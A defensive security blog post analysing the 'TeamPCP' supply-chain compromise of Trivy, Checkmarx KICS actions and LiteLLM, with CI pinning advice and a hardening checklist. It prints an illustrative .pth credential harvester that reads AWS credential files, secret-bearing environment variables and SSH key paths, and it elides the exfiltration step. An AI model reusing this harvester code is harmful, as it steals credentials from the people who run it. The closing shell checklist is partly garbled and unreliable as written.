Back to Blog
2026-03-30

When Your Security Scanner Becomes the Weapon: Inside the TeamPCP Supply Chain Attack

TeamPCP compromised Trivy, Checkmarx KICS, and LiteLLM, exposing 1,000+ enterprise SaaS environments. Learn how attackers weaponized trusted security tools and what you must do now.

When Your Security Scanner Becomes the Weapon: Inside the TeamPCP Supply Chain Attack

Critical Supply Chain Attack: 1,000+ Enterprise Environments Compromised

On March 20, 2026, Aqua Security dropped a bombshell: Trivy—the world's most popular open-source vulnerability scanner, with millions of CI/CD pipeline integrations—had been compromised. But this wasn't your typical breach. Threat actor TeamPCP didn't just attack the software. They weaponized the very trust relationship between security teams and their scanning tools.

The result? Over 1,000 enterprise SaaS environments were potentially compromised. Not through sophisticated zero-days. Not through employee phishing. But through pip install and docker pull commands that teams ran believing they were doing the right thing: scanning for vulnerabilities.

⚠️ The Supply Chain Nightmare

TeamPCP's campaign didn't stop at Trivy. They leveraged stolen CI/CD credentials to compromise Checkmarx KICS GitHub Actions on March 23, then poisoned two PyPI packages of LiteLLM (versions 1.82.7 and 1.82.8) on March 24. The kicker? The malicious LiteLLM packages used a .pth file—executing automatically whenever Python started, no import required. Simply having the package in your environment was enough to trigger credential harvesting.

The Attack Chain: From Scanner to System Takeover

Phase 1: Trivy CI/CD Compromise (CVE-2026-33634)

TeamPCP's initial foothold came through misconfigured GitHub Actions workflows in the Trivy repository. They stole CI/CD secrets—GitHub tokens, release signing keys—and began force-pushing malicious releases starting with Trivy v0.69.4.

The malicious binaries weren't subtle. They contained credential harvesters that:

  • Extracted AWS credentials from ~/.aws/credentials
  • Harvested SSH keys from user directories
  • Siphoned environment variables containing API keys
  • Accessed Kubernetes secrets via the downward API
  • Collected .env files from application directories

Phase 2: Checkmarx KICS GitHub Actions

With stolen credentials in hand, TeamPCP pivoted to Checkmarx's KICS (Keeping Infrastructure as Code Secure) GitHub Actions. They modified the ast-github-action and kics-github-action workflows to inject malicious code that ran during CI execution.

The brilliance here? Every repository running security scans with these actions during the exposure window (March 23-24) potentially executed attacker-controlled code—with access to repository secrets and pipeline environment variables.

Phase 3: LiteLLM PyPI Poisoning

The final blow came on March 24. TeamPCP published malicious versions of LiteLLM—a popular LLM API gateway with 97 million monthly downloads—to PyPI. The payload was devastating:

# This .pth file executes automatically on Python interpreter startup
# No import required. No execution trace. Just automatic compromise.
import os, subprocess, sys

def harvest_creds():
    # Collect AWS credentials
    aws_creds = []
    for user in os.listdir('/home'):
        creds_path = f'/home/{user}/.aws/credentials'
        if os.path.exists(creds_path):
            with open(creds_path) as f:
                aws_creds.append(f.read())
    
    # Environment variables often contain API keys
    env_secrets = {k: v for k, v in os.environ.items() 
                  if any(x in k.lower() for x in ['key', 'token', 'secret', 'password'])}
    
    # SSH keys for lateral movement
    ssh_keys = []
    for root, dirs, files in os.walk('/home'):
        for file in files:
            if file in ['id_rsa', 'id_ed25519']:
                ssh_keys.append(os.path.join(root, file))
    
    # Exfiltrate to attacker infrastructure
    data = {'aws': aws_creds, 'env': env_secrets, 'ssh': ssh_keys}
    # ... encrypted exfiltration to C2

# Trigger on load
import threading
threading.Thread(target=harvest_creds, daemon=True).start()

The .pth mechanism meant the code ran automatically when Python started—simply installing LiteLLM was enough to compromise the system, regardless of whether you ever imported or used it.

Immutable References: The Only Defense

The uncomfortable truth? This attack was possible because of how we consume dependencies. Mutable tags like v0.69 or latest aren't references—they're invitations to catastrophe.

The Wrong Way (What Most Teams Do):

# .github/workflows/security-scan.yml
name: Security Scan
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # DANGER: Using mutable tag - can be force-pushed
      - name: Run Trivy Scanner
        uses: aquasecurity/trivy-action@master
        
      # DANGER: pip resolves to latest compromised version
      - name: Install LiteLLM
        run: pip install litellm

The Right Way (Immutable Security):

# .github/workflows/security-scan.yml
name: Security Scan
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.1.1
      
      # SAFE: Pinned to specific commit SHA
      - name: Run Trivy Scanner
        uses: aquasecurity/trivy-action@7b7aa1cd4ab6a4323f16df7f5bfa3b80d53c0fe5 # v0.28.0
        with:
          scan-type: 'fs'
          format: 'sarif'
          output: 'trivy-results.sarif'
          
      # SAFE: Pinned dependency with hash verification
      - name: Install LiteLLM (Verified)
        run: |
          pip install litellm==1.82.6 \
            --hash=sha256:a1b2c3d4e5f6...
          
      # Verify signature if available
      - name: Verify Artifacts
        uses: actions/attest-build-provenance@v1
        with:
          subject-path: 'trivy-results.sarif'

Notice the difference? The secure version:

  1. Pins Actions to commit SHAs—tags can be force-pushed; SHA commits cannot
  2. Pins pip packages with hashes—prevents substitution attacks
  3. Uses artifact attestation—cryptographic proof of build integrity

The Aftermath: What 1,000+ Breaches Look Like

The TeamPCP campaign didn't just steal credentials—it established persistence mechanisms that could survive initial remediation. The malware included:

  • Worm-like propagation: Using stolen SSH keys to spread across connected systems
  • Kubernetes targeting: Harvesting cluster credentials via the metadata API and establishing backdoors in container environments
  • Persistent backdoors: A Python script (sysmon.py) that polled attacker C2 servers every 50 minutes for new commands, with a YouTube URL kill switch to enter dormant mode

Data Harvested Included:

  • AWS credentials and IAM role tokens via IMDS v1 exploitation
  • Kubernetes secrets and Helm charts
  • CI/CD configuration files (Terraform, GitLab CI, Jenkins, Drone, Ansible)
  • TLS/SSL private keys and certificates
  • Slack/Discord webhook URLs and API keys
  • WireGuard VPN configurations

🛡️ Immediate Actions Required

If you used Trivy v0.69.4, Checkmarx actions during March 23-24, or LiteLLM 1.82.7/1.82.8: rotate ALL secrets, audit CI/CD logs for unauthorized access, and scan for persistence mechanisms.

⚠️ Don't Trust Cache

Clean cached dependencies and container layers. Malicious artifacts may persist in build caches even after package removal from PyPI/Docker Hub.

Building Resilient CI/CD Pipelines

The TeamPCP attack reveals a fundamental truth: your supply chain is only as strong as its weakest consumption pattern. Here's your hardening checklist:

Pin Everything to Immutable References

  • GitHub Actions: Use commit SHAs, not tags
  • Docker images: Use SHA256 digests, not tags
  • Python packages: Use --require-hashes with requirements.txt

Implement CI/CD Security Controls

  • Run security scans in isolated, ephemeral environments
  • Use OIDC for cloud authentication instead of long-lived credentials
  • Enable GitHub's artifact attestations for cryptographic verification

Monitor for Supply Chain Anomalies

  • Alert on new patch versions within hours of release (attackers often release quickly)
  • Monitor for .pth file additions in Python dependencies
  • Track unexpected outbound connections from build environments

Assume Compromise

  • Rotate secrets quarterly, not annually
  • Implement secret scanning in pre-commit hooks
  • Use short-lived tokens with minimal scope (OIDC > API keys)

Python Security Checklist

After a supply chain attack, check your Python environment for persistence mechanisms:

# Scan for suspicious .pth files
find /usr/local/lib/python*/dist-packages -name "*.pth" -exec cat {} \;

Check for malicious site-packages imports

python -c "import sys; print('\n'.join(sys.path))"

Verify installed package hashes

pip install pip-audit pip-audit --desc --format=json | jq '.[] | select(.severity == "critical")'

Check for unauthorized startup scripts

grep -r "import os" /usr/local/lib/python*/dist-packages/*.pth 2>/dev/null

Supply chain security isn't about trust—it's about verification. The tools you trust to secure your code can become the weapon that destroys it. TeamPCP taught us that lesson with brutal clarity.

The question isn't whether your dependencies will be compromised. It's whether your defenses assume they already are.

Sanitize .env Files Before Sharing

Need to share environment variables? Use Env Sanitizer to automatically detect and mask secrets. All processing happens client-side—your data never leaves your browser.

Open Env Sanitizer →
Share this: